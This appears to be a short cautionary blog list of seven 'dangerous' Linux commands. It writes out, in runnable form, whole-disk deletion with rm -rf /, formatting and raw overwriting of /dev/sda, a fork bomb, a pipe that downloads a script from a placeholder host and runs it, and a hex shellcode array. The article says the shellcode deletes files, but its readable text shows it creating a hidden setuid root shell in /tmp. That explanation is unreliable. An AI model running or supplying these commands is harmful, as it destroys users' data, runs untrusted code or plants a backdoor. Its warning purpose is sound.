7 Most Dangerous Linux Commands (Don't try this at home)

First command:

rm -rf / #with root privilege such as 'sudo'

This command will delete your entire files on mounted devices!
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Second command:

char esp[] __attribute__ ((section(".text"))) /* e.s.p

release */

= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"

"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"

"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"

"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"

"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"

"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"

"\x6e\x2f\x73\x68\x00\x2d\x63\x00"

"cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;";

Hexadecimal code! Same as the first command, it will delete entire files on your mounted devices.
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Third command:

mkfs.ext3 /dev/sda

This command will format your /dev/sda device and of course will delete all files on it.
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Fourth command:

:(){:|:&};:

Will run too many processes on your system and causes the computer hang up!
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Fifth command:

any_command > /dev/sda

Will write a raw data and all files on /dev/sda will be replaced by the raw data.
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Sixth command:

wget http://trap_source -O- | sh

Wil download a shell script from untrusted source and run it when the download finished.
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Seventh command:

mv /home/username/* /dev/null

Will move home directory to a place that actually doesn't exist. In other words, it will delete your home directory.
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So be careful and do a check before running such commands on your system.